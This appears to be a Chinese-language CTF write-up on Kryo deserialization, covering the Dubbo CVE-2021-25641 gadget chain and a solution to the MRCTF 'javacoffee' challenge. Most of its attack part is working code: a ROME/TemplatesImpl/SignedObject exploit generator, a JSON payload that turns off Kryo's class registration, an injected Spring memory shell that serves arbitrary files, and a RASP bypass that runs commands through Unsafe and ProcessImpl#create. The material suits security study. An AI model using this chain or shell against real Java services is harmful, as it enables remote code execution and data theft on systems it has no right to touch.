前言 (不出网)
别看了,刚才强网拟态java题润过来
Kryo是一种快速高效的Java对象图序列化框架。
一般漏洞出现得比较多的反序列化点是使用kryo.readClassAndObject
函数,那么对应的序列化点是kryo.writeClassAndObject
,当然这个类也存在readObject
和writeObject
方法,不过这里以前两个例子学习
先给出一个例子
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>5.2.0</version>
</dependency>
package Kryo;
public class User{
private String name;
private int id;
private String password;
public User(){
this.name = "test";
this.id = 123;
this.password = "test";
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
package Kryo;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
public class test {
public static void main(String[] args) throws IOException {
Kryo kryo = new Kryo();
kryo.register(User.class);
User u = new User();
Output output = new Output(new FileOutputStream("file.bin"));
kryo.writeClassAndObject(output, u);
output.close();
Input input = new Input(new FileInputStream("file.bin"));
User o = (User)kryo.readClassAndObject(input);
input.close();
System.out.println(o.getName());
}
}
对其内容进行调试,就能够发现这个kryo反序列化的几个特性:
-
从5.0.0版本后,kryo整体进行了较大的重构,其中一个重大的改造是将
com.esotericsoftware.kryo.Kryo
类的registrationRequired
属性默认设置为true。相当于开启了白名单,只有注册过的类才能被序列化和反序列化。 -
-
如果
kryo.register(User.class)
**;**
这一行代码给去掉,会出现这样的问题,此时并不能注册
-
默认使用FieldSerizlizer处理
必须要无参方法,
浅析Dubbo Kryo反序列化漏洞(CVE-2021-25641)
搭建环境一生之敌,别问问就是(环境又搞失败了)又又又又只能看着文章进行分析了
在DecodeableRpcInvocation类的decode()函数中,通过serializationType为8、获取到反序列化器Kryo,然后调用readUTF()函数来读取dubbo协议对应的字段信息如dubbo协议版本、服务名称、服务版本、方法名、方法参数类型等:
首先执行到decode()方法,然后 in.readUTF() ,后面就是对数组
从input中读取解析到type为HashMap,因此会调用Kryo的MapSerializer序列化器来读取input中的信息:
然后调用了map.put()方法然后 —–》equals 。。。。。等
Dubbo并不遵守Kryo原生反序列化的流程,默认将类注册registerationRequired关闭了,
,而且实现的KryoFactory
接口在高版本也没有了,所以Dubbo在这个版本里面是自己整的Kryo的反序列化处理,种种解除限制导致危害提升了
Dubbo里面的自带的fastjson完成利用链的构造
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
MRCTF javacoffee
依赖
Kryo-5.3.0
rome-1.7.0
jackson
snakeyaml
springboot
斯,死去的记忆突然袭击我,rome?忘了我丢,Kryo-5.3.0必须注册的类才可以进行反序列化,并且反序列化的类必须有无参构造方法,并且使用固定的解析器
做题
public class BaseController {
protected Kryo kryo = new Kryo();
}
public class CoffeeController extends BaseController {
@RequestMapping({"/coffee/index"})
public Message index() {
return new Message(200, "what do your want? please order");
}
@RequestMapping({"/coffee/order"})
public Message order(@RequestBody CoffeeRequest coffee) {//coffee接收传参
if (coffee.extraFlavor != null) {//extraFlavor是一个javabean
return new Message(200, ((ExtraFlavor) this.kryo.readClassAndObject(new Input(new ByteArrayInputStream(Base64.getDecoder().decode(coffee.extraFlavor))))).getName());
} else if (coffee.espresso > 0.5d) {
return new Message(200, "DOPPIO");
} else {
if (coffee.hotWater > 0.5d) {
return new Message(200, "AMERICANO");
}
if (coffee.milkFoam <= 0.0d || coffee.steamMilk <= 0.0d) {
if (coffee.espresso > 0.0d) {
return new Message(200, "Espresso");
}
return new Message(200, "empty");
} else if (coffee.steamMilk > coffee.milkFoam) {
return new Message(200, "CAPPUCCINO");
} else {
return new Message(200, "Latte");
}
}
}
@org.springframework.web.bind.annotation.RequestMapping({"/coffee/demo"})
public fun.mrctf.springcoffee.model.Message demoFlavor(@org.springframework.web.bind.annotation.RequestBody java.lang.String r8) throws java.lang.Exception {
throw new UnsupportedOperationException("Method not decompiled: fun.mrctf.springcoffee.controller.CoffeeController.demoFlavor(java.lang.String):fun.mrctf.springcoffee.model.Message");
}
}
先传入一个coffee,和以往不同的是,这里需要传入Object对象、以往都是String对象。
感觉依旧是传序列化,毕竟后面也是反序列化
可是有一个情况,CoffeeRequest这个类没有无参构造哦,反序列化一定会报错的,这怎么办呢?(只有注册过的类才能被序列化和反序列化。)👴猜测肯定是反射改配置啥的
stop以上纯属瞎扯,tnnd又是jd-gui这个软件坑了我,好用是好用,有时候是真不显示代码啊。。。
以后还是长个心眼,idea看叭。。。
@RequestMapping("/coffee/demo")
public Message demoFlavor(@RequestBody String raw) throws Exception {//raw string进行传参
System.out.println(raw);
//例 raw={'polish':'true'}
JSONObject serializeConfig = new JSONObject(raw);//json解析
if(serializeConfig.has("polish")&&serializeConfig.getBoolean("polish")){
kryo=new Kryo();
for (Method setMethod:kryo.getClass().getDeclaredMethods()) {
if(!setMethod.getName().startsWith("set")){//遍历到是set开头的方法
continue;
}
try {
Object p1 = serializeConfig.get(setMethod.getName().substring(3));//截取set后面的属性
//p1是可控的只需要,在json中添加 一个set 后面的属性值自己写即可
if(!setMethod.getParameterTypes()[0].isPrimitive()){//如果参数不是原始类型,不是 int String...
try {
p1 = Class.forName((String) p1).newInstance();//就进行实例化
setMethod.invoke(kryo, p1);//并且执行方法 p1是参数
}catch (Exception e){
e.printStackTrace();
}
}else{
setMethod.invoke(kryo,p1);
}
}catch (Exception e){
continue;
}
}
}
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
kryo.register(Mocha.class);
kryo.writeClassAndObject(output,new Mocha());
output.flush();
output.close();
return new Message(200,"Mocha!",Base64.getEncoder().encode(bos.toByteArray()));
}
这样一来,最有价值的就是newinstance、和调用一个set方法
这里大概看了一下方法,莫非是让我们通过这个set修改掉CoffeeRequest这个类的注册状态👴(感觉就是这样的)
可是需要传入的是一个序列化的数据。。(可能又想错了,根据英语意思:默认序列化器?这 不是前面的:FiledSerialize 、MapSerialize)
润去看了看wp
tnnd思想狭窄了又,下面不也可以invoke进行执行?,再循环一次所有的set方法
唉,自己背锅😭
那么CoffeeRequest未经注册,序列化反序列化的问题就解决了,接下来就是找链子了。
上一道题的漏洞是因为,Dubbo中有fastjson的依赖,而这道题是没有的,看一下readobject有啥东西
我先盲猜一下,通过set修改默认序列化器,改成MapSerialize,然后通过这个就会触发hashmap的equals方法
(其实是复现上面那个漏洞的理解)但是如果是这样的话,key和value咋传入???(对不起,脑子又tnnd短路了,我最后让 writeobject(map)一个map不就行了嘛)
既然存在ROME依赖肯定是拿ROME来打,看一下自己以前写的文章
tnnd,又是这种报错,烦死
干脆自己新建了一个类
导入rome、和kryo依赖即可
这样的话链子就构造好了,
序列化没问题,反序列化的时候报错了
没有无参构造,肯定不能改类,那肯定就是setter方法了
根据方法名字推测就是这个,点进去,发现接收InstantiatorStrategy类型的数据,而InstantiatorStrategy是一个接口看一下实现类
默认是DefaultInstantiatorStrategy类,第一种方法是一个个试,第二查百度,
(这样反序列化就不会报错了)
StdInstantiatorStrategy stdInstantiatorStrategy = new StdInstantiatorStrategy();
kryo.setInstantiatorStrategy(stdInstantiatorStrategy); 怪不得需要反射方法,毕竟参数需要object类滴
现在需要修改的就是那个默认的序列化器,FieldSerialize改成MapSerialize(这里想了一下传入Map的类型,它会自动用Mapserialize
)
使用这个方法但是参数需要是 SerializerFactory类型的
很纳闷哦,直接反序列化并不会弹出计算器,但是如果直接调试则会,
最终加了一个makeMap防止序列化的时候进入命令执行的点,然后成功了。
准备开始打题目
首先改二处配置
kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
{“polish”:true,”RegistrationRequired”:false,”InstantiatorStrategy”:”org.objenesis.strategy.StdInstantiatorStrategy”}
@RequestBody CoffeeRequest coffee 不太懂这里怎么传参呢,百度了一下直接json就可以了
{
"extraFlavor": "vanilla"
}
tnnd犯了一个蠢比问题,题目中用的是rome1.7,我本地搭环境用的是1.0,这两者的区别很大
在rome 1.7中
com.rometools.rome.feed.impl.Objectbean.class
但是在rome1.0中
com.sun.syndication.feed.impl.ObjectBean.class;
类换了位置,一直用rome1.0打rome1.7纯2B
package fun.mrctf.springcoffee;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import com.esotericsoftware.kryo.io.Input;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.objenesis.strategy.StdInstantiatorStrategy;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
public class rome_poc {
public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
String raw = "{\"polish\":\"true\",\"RegistrationRequired\":false,\"InstantiatorStrategy\": \"org.objenesis.strategy.StdInstantiatorStrategy\"}";
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
kryo.setRegistrationRequired(false);
byte[] bytes=ClassPool.getDefault().get(FileRead.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap1 = getpayload(Templates.class, obj);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
HashMap hashMap2 = getpayload(SignedObject.class, signedObject);
//序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
kryo.writeClassAndObject(output, hashMap2);
output.close();
System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
//反序列化
ByteArrayInputStream bas = new ByteArrayInputStream(bos.toByteArray());
Input input = new Input(bas);
kryo.readClassAndObject(input);
}
public static HashMap getpayload(Class clazz, Object obj) throws Exception {
ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand"));
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "rand");
ObjectBean expObjectBean = new ObjectBean(clazz, obj);
setFieldValue(objectBean, "equalsBean", new EqualsBean(ObjectBean.class, expObjectBean));
return hashMap;
}
}
在这里也报了很多错误
比如slf4j,很多次了都是报这个错误,以前也有(导入这个依赖即可)
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.22</version>
</dependency>
首先先修改属性的值,然后打上面的payload
开始直接打题目的环境
本来在服务器搭建的好好的,但就是死活打不上去,看报错日志
真的烦搭建环境!!!!
springboot2.6以后RequestMappingInfo的初始化构造发生了一些变化
读文件(read=file:.)
String code = request.getParameter("read");
java.io.PrintWriter writer = response.getWriter();
String urlContent = "";
URL url = new URL(code);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.println(urlContent);
writer.flush();
writer.close();
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
public class FileRead extends AbstractTranslet {
public FileRead() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = FileRead.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/fileread")
.options(config)
.build();
FileRead fileRead = new FileRead("aaa");
mappingHandlerMapping.registerMapping(info, fileRead, method2);
} catch (Exception e) {
}
}
public FileRead(String aaa) {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
PrintWriter writer = response.getWriter();
//exec
try {
String urlContent = "";
final URL url = new URL(request.getParameter("read"));
final BufferedReader in = new BufferedReader(new
InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.write(urlContent);
writer.flush();
writer.close();
} catch (Exception e) {
}
}
public static void main(String[] args) {
}
}
这里不出网的环境,Thread.slepp(9999) 也应该执行的呀
读取rasp的流程就省略了,具体可看安恒月赛那道题
这道题的话相比于安恒仁慈了,通过调用下面的UnixProcess#forkAndExec就可以绕过,碰见这个方法直接返回了
这是windows绕过的例子,通过底层 ProcessImpl#create方法
public class aaaaa {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field field = clazz.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Class<?> processImpl = Class.forName("java.lang.ProcessImpl");
Process process = (Process) unsafe.allocateInstance(processImpl);
Method create = processImpl.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
long[] stdHandles = new long[]{-1L, -1L, -1L};
create.invoke(process, "whoami", null, null, stdHandles, false);
JavaIOFileDescriptorAccess fdAccess
= sun.misc.SharedSecrets.getJavaIOFileDescriptorAccess();
FileDescriptor stdout_fd = new FileDescriptor();
fdAccess.setHandle(stdout_fd, stdHandles[1]);
InputStream inputStream = new BufferedInputStream(
new FileInputStream(stdout_fd));
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
}
}
出题人最后自己加的运算防止非预期,c写的tnnd不会
use strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = substr($r,0,-3);
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
回忆一下安恒月赛怎么做的
读到了jar包,然后我们自己用linux写了一个恶意的so文件,并且调用加载了这个,最后命令传入这个方法,那么这道题也是可以用的。
http://www.bmth666.cn/2022/11/02/RASP%E7%BB%95%E8%BF%87%E5%88%9D%E6%8E%A2/
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。